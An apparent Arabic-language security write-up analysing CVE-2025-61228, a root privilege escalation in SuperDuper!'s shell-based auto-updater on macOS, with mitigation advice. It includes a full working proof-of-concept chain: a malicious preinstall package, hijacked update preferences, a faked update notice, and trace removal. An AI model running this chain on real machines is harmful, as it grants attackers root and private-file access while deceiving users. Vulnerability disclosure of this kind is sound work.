
تحليل تقني وإثبات المفهوم لاستغلال CVE-2025-61228، وهي ثغرة تصعيد الصلاحيات في آلية التحديث التلقائي لـ SuperDuper!، مع شرح مفصل لسطح الهجوم وإرشادات التخفيف.
يبدو أن هذه المشكلة أسوأ مما يقترحه المطور، لذا لا أريد أن يضيع هذا الجزء في التفاصيل. ذكر المطور في مدونته:
يمكن أن يحدث هذا فقط إذا كان برنامج يعمل على نظامك يبحث عن SuperDuper لإجراء تحديث، ويتم تقديم تحديث حقيقي من خلال وسائل شرعية، وتنقر على ترقية.
هذا ليس صحيحًا في الواقع، فاستغلال هذه الثغرة لا يتطلب تقديم تحديث حقيقي من خلال وسائل شرعية. لا تقبل أبدًا تحديثًا يقدمه SuperDuper الإصدار 3.10 والأقدم! أشرح هذا بمزيد من التفصيل أدناه.
من المهم أيضًا أن نفهم أن هذه الثغرة لا تقتصر على تصعيد الامتيازات، بل تتضمن أيضًا تقويض ضوابط الخصوصية. يبدو أن هذه التفاصيل قد حُذفت من منشور مدونة المطور.
من مدونة المطور:
يمكن اختطاف آلية التحديث التلقائي لدينا وإقناعها بتثبيت حزمة ليست SuperDuper.
على الرغم من أننا وقعنا وصادقنا على حزمة التثبيت الخاصة بنا، إلا أن Gatekeeper لا يتحقق من تلك المصادقة عند التثبيت بواسطة مثبت حزم macOS. ونتيجة لذلك، يمكن تغيير التنزيل، وسنقوم بتثبيت ذلك بدلاً منه. نظرًا لأن التثبيت يتم بامتيازات مرتفعة، فقد يسمح ذلك لبرنامج تابع لطرف ثالث ضار، والذي ستحتاج أيضًا إلى تثبيته، بالحصول على وصول إداري إلى نظامك.
من CVE:
مشكلة في Shirt Pocket SuperDuper! الإصدار V.3.10 والإصدارات السابقة تسمح لمهاجم محلي بتنفيذ تعليمات برمجية عشوائية عبر آلية تحديث البرامج
هذا المؤلف ليس مكتشف الثغرة، الذي يُعرف من قبل مطور SuperDuper باسم "باحث أمني مجهول". لا أدعي أي فضل لاكتشاف هذه الثغرة، فقط أبديت اهتمامًا بإجراء تحليل تقني لها.
درجة CVSS 3.1: 7.8 عالية (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
لتجنب هذه الثغرة، إما احذف تطبيق SuperDuper! أو طبق التحديث 3.11.
تحذير: يجب تنزيل التحديث مباشرة من موقع المطور لتجنب هذه الثغرة.
يتم توفير تحليل الاستغلال وإثبات المفهوم هذا للأغراض التعليمية فقط. استخدمه على مسؤوليتك الخاصة.
بدلاً من تنفيذ حل تحديث برنامج مفتوح المصدر تم اختباره من قبل مئات المطورين ومتخصصي الأمن، أنشأ مطورو SuperDuper آلية التحديث الخاصة بهم المبنية على نصوص شل غير آمنة تعمل بامتيازات الجذر ولها وصول كامل للقرص. نظرًا لفشلهم في مصادقة البرنامج الذي يتم تثبيته أثناء التحديث، يتم خداع SuperDuper لتثبيت برنامج المهاجم. يعالج إصلاح المطور فقط جانب المصادقة من هذه الثغرة، ولا يعالج الثغرات المتأصلة الناتجة عن استخدام نصوص شل لتسهيل عملية التحديث.
تعليق المطور "Gatekeeper لا يتحقق من تلك المصادقة" مضلل. يأتي Gatekeeper في الصورة عندما تحاول فتح شيء تم تنزيله في متصفح، لكن هذا لا ينطبق على آلية تحديث البرامج الداخلية للتطبيق. إنها مسؤولية المطور بنسبة 100% للتحقق من أي شيء يقوم برنامجه بتنزيله وتثبيته على جهاز الكمبيوتر الخاص بك – لا تدع هذا المطور يخدعك لتصدق أن هذا فشل من Gatekeeper. بالوصول إلى صلب الاستغلال، يمكن للمهاجم خداع SuperDuper لتثبيت حزمة بديلة، ويحدث ذلك بامتيازات مرتفعة. من المفترض أيضًا أن يعمل بوصول كامل للقرص، لأن SuperDuper يتطلب وصولًا كاملاً للقرص لفعل أي شيء.
تنص مدونة المطور أيضًا:
يمكن أن يحدث هذا فقط إذا كان برنامج يعمل على نظامك يبحث عن SuperDuper لإجراء تحديث، ويتم تقديم تحديث حقيقي من خلال وسائل شرعية، وتنقر على ترقية.
بهذا التعليق، افترضت أنه ربما لن يكون من الممكن إعادة إنتاج هذا الاستغلال لأنه يجب أن يتضمن تغييرات من جانب الخادم في آلية التحديث والتي كان من الممكن إجراؤها جنبًا إلى جنب مع نشر التصحيح 3.11. بمعنى آخر، من أجل منع الإصدارات الأقدم من البرنامج من التأثر بهذه الثغرة، بالتأكيد قاموا بتعطيل آلية التحديث، أليس كذلك؟ حسنًا... قمت بتنزيل إصدار أقدم من SuperDuper، وعندما فتحته، استُقبلت فورًا بإشعار تحديث† – نقرة واحدة بعيدًا عن استغلال محتمل. وجدت هذا مثيرًا للاهتمام – كيف سيتم حماية أي شخص يستخدم إصدارًا أقدم من التطبيق من هذه الثغرة إذا لم يتم تعطيل آلية التحديث التلقائي؟ (هذا مرتبط بـ "التنبيه" الذي ذكرته في بداية هذه المقالة، سأعود لهذا السؤال في النهاية)
† نوعًا ما... كانت النتيجة محرجة بالفعل. لم يكن هناك وصف للتحديث أو تنبيه أمني، كانت النافذة فارغة مع زر تخطي وتحديث. لذا فإن المستخدمين الأقدم ليسوا فقط غير محميين من الاستغلال من خلال تعطيل آلية التحديث، ولكنهم أيضًا غير مخبرين بالمشكلة عبر آلية التحديث.
تقدمت للأمام. عند تطبيق الترقية، يتم تسجيل الآليات الخلفية بشكل مفيد في سجل SuperDuper، لذا سنبدأ من هناك لنرى كيف يعمل:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
تستخدم العديد من تطبيقات Mac التي تعيش خارج Mac App Store إطار Sparkle مفتوح المصدر لإدارة تحديثات البرامج بشكل آمن. ليس SuperDuper. يمكننا أن نرى هنا أنهم قاموا بإنشاء إطار خاص بهم، وهذا مثال رائع على لماذا هذا غالبًا خيار سيء. آليات ترقية البرامج أهداف رئيسية للاستغلالات، لذا فهي تتطلب الكثير من الوقت والخبرة للحفاظ عليها آمنة. "UpgradeTranscript.plist" هو مرجع لملف داخل تطبيق SuperDuper يحدد سلسلة من أوامر الطرفية التي يستخدمها SuperDuper لتنزيل وتطبيق التحديث:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
أرى على الأقل أربع مشاكل في هذه الأوامر والإجراءات:
يمكن لمثبتات الحزم تشغيل نصوص شل، لذا سأفترض أن هذا هو ناقل الهجوم المفضل للحزمة البديلة. لنبدأ ببناء حزمة تشغل نصًا مسبقًا، ثم نرى كيفية إدخالها في آلية التحديث.
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
جانب سريع لنرى نوع الوصول الذي يمنحه هذا الاستغلال للمهاجم – إذا قمت بتشغيل نص شل (بافتراض أن الطرفية لا تملك وصولًا كاملًا للقرص أو وصولًا إلى "الملفات والمجلدات") يدويًا ستحصل على خطأين:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
يمكن للمهاجم أن يفعل الكثير من الضرر بوصول الجذر، ولكن مع وصول الخصوصية أيضًا، يمكنهم الوصول إلى نطاق أوسع من المحتوى داخل مجلد المنزل الخاص بك (قد يبدو سطح المكتب تافهًا، ولكن يتم تخزين الكثير من البيانات الخاصة في مجلد المكتبة المخفي). هذا الاستغلال يمنحهم كليهما.
حسنًا، بناء الحزمة كان الجزء السهل. كيف نخترق آلية التحديث؟ كان استغلال حالة السباق مرشحًا واضحًا، لكني تساءلت عما إذا كان من الممكن التدخل في هذا الجزء من الإجراء:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
من الواضح أن متغيرات المضيف وعنوان URL للتنزيل تأتي من خارج النص. هل يمكن التلاعب بها؟ غالبًا ما تخزن التطبيقات التي تستخدم آلية تحديث برامج Sparkle عنوان URL "للتحديث التلقائي" في CFPreferences، لذا تساءلت عما إذا كان SuperDuper يفعل نفس الشيء. وبالفعل، ولكن الأسوأ – بدلاً من تخزين عنوان URL فقط للتحقق من التحديثات، يضع SuperDuper عنوان URL الفعلي للتنزيل في CFPreferences:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
حاولت تجاوز عنوان URL بعنوان URL لنظام الملفات المحلي:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
أعدت فتح SuperDuper وضغطت على تحديث، لكن التحديث استمر لتثبيت تحديث المطور، وليس حزمتي البديلة. بالطبع – عندما رأى SuperDuper التحديث مرة أخرى عند الإطلاق، أعاد كتابة القيمة الافتراضية. حاولت مرة أخرى بعد ضبط القيمة بعد أن قدم SuperDuper التحديث، هذه المرة نجحت! حسنًا، فشل تثبيت التحديث بالفعل، لكن الهجوم نجح – تم إنشاء ملف /Library/test.
حذفت ملف الاختبار وأعدت الاختبار للتحقق من أنه يعمل حقًا. وأكدت أيضًا أن ملف private_data على سطح المكتب أصبح يحتوي على قائمة مجلد سطح المكتب – تم تشغيل النص بوصول كامل للقرص.
كان بإمكاني التوقف هنا، لكن سجل الأخطاء أظهر أن التثبيت فشل لأنه لم يتم العثور على SuperDuper:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
بمراجعة منطق نصوص شل الخاصة بـ UpgradeTranscript.plist، أدركت أن برنامج التثبيت قد ينجح بالفعل إذا قمت فقط بنسخ تطبيق SuperDuper إلى الحزمة البديلة (ditto يصدر هذا الخطأ لأن /tmp/superduper_install/SuperDuper!.app غير موجود). تبين أن هذا أصعب مما ينبغي، كان SuperDuper يتعطل دائمًا أثناء التثبيت. كان من الأسهل بكثير أن يقوم النص المسبق بنسخ التطبيق إلى الموقع المتوقع في وقت التشغيل:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
الآن قام SuperDuper بتثبيت الحزمة المزيفة، وبدا أن التثبيت ناجح. أعاد SuperDuper تشغيل نفسه وقدم التحديث مرة أخرى، وهو متوقع لأنه أعاد تثبيت نسخة الإصدار القديم التي صنعناها في مجلد tmp. ربما يكون عدم وجود رسالة خطأ كافيًا لخداع المستخدم العادي ليعتقد أنه لا يوجد شيء خاطئ حقًا، وسيضغطون على زر الترقية مرة أخرى، هذه المرة لتثبيت الحزمة الحقيقية من موقع المطور. وفي الوقت نفسه، تم تفعيل الاستغلال بالفعل والمستخدم فقط يتجاهل الأمر، "واو، كان هذا غريبًا بعض الشيء، لكنه يعمل الآن."
لا تزال هناك مشكلة لوجستية هنا تجعل هذا الهجوم صعب التنفيذ: سيتعين على المهاجم تشغيل أمر "defaults" بعد تقديم التحديث للمستخدم، وقبل أن ينقر المستخدم على زر الترقية. إنه بالتأكيد قابل للتنفيذ، يمكنك فقط تشغيل أمر "defaults write" في حلقة لا نهائية في الخلفية، لكن ذلك سيجذب الانتباه. في البداية اعتقدت أنه يمكنني قفل ملف التفضيلات لتجاوز هذا:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
لكن ذلك لم يعمل. بالتفكير في كيفية عمل التفضيلات، كان ذلك منطقيًا. لا تفتح التطبيقات تلك الملفات وتقرأ القيم في كل مرة تحتاج فيها إلى جلب إعداد، بل تطلب القيمة من واجهة "CFPreferences". إذا قام SuperDuper بتغيير قيمة UMdownloadURL، فإن CFPreferences ستحتفظ بالتغيير في الذاكرة حتى لو كان الملف الفعلي غير معدل. عندما يطلب SuperDuper لاحقًا قيمة هذا الإعداد، سيحصل عليها CFPreferences من التخزين المؤقت (ويتم تحديث التخزين المؤقت إذا تم إجراء تغييرات على الملفات الفعلية).
في هذه المرحلة، كان هناك شيء يضايقني حقًا – لماذا يهتم المطور بكتابة عنوان URL للتنزيل إلى CFPreferences؟ بالتأكيد ستكتب تلك القيم إلى CFPreferences فقط إذا كنت تخطط أيضًا لقراءتها من CFPreferences، أليس كذلك؟ ولكن لماذا لا تخزن القيمة في متغير في الذاكرة في مكان ما؟ هناك مشكلتان كبيرتان في استخدام CFPreferences بهذه الطريقة يجب أن يعرفهما كل مطور Mac متمرس:
لاختبار نظريتي، كتبت التفضيل إلى مجال "currentHost"، الذي يتجاوز مجال التطبيق:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
ثم أعدت تشغيل SuperDuper وضغطت على ترقية – تم تثبيت الحزمة البديلة. مذهل. هذا يجعل الاستغلال أسهل بكثير في التنفيذ، يمكن للمهاجم فقط وضع إعداد التفضيل هذا والانتظار إلى أجل غير مسمى حتى يتم نشر تحديث. ولكن مهلاً، إذا كان SuperDuper يجلب قيمة عنوان URL للتنزيل من التفضيلات، فهل قد يجلب أيضًا رقم الإصدار؟ هل يمكن للمهاجم أساسًا إحداث تحديث وخداع SuperDuper لتقديمه، حتى لو لم ينشر المطور واحدًا؟ رائع، نعم! بتجميع كل شيء معًا، يمكن للمهاجم تنفيذ هذه الأوامر للحصول على إصدار أقدم (غير مُصحح) من SuperDuper! لتقديم تحديث مزيف، وتثبيت حزمة بديلة، وفي الوقت نفسه جعل SuperDuper يزيل كل آثار الهجوم:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
عندما يعيد SuperDuper التحميل بعد تثبيت الحزمة البديلة، لم يعد التحديث معروضًا ويواصل المستخدم معتقدًا أنه قام بتثبيت الإصدار الجديد، غير مدرك أن الاستغلال قد تم تفعيله.
بالعودة إلى بداية هذه المقالة، تساءلت، "كيف سيتم حماية أي شخص يستخدم إصدارًا أقدم من التطبيق من هذه الثغرة إذا لم يتم تعطيل آلية التحديث التلقائي؟" كما اتضح، لا يهم إذا قام المطور بتعطيل آلية التحديث التلقائي – يمكن استغلال هذه الثغرة بدون (أو على الرغم من) أي تغييرات من جانب الخادم، ولا تتطلب حتى نشر المطور لتحديث "حقيقي". التخفيف الوحيد هو أن يرفض المستخدمون دائمًا التحديث التلقائي حتى يقوموا بالتحديث يدويًا إلى إصدار مُصحح من المنتج.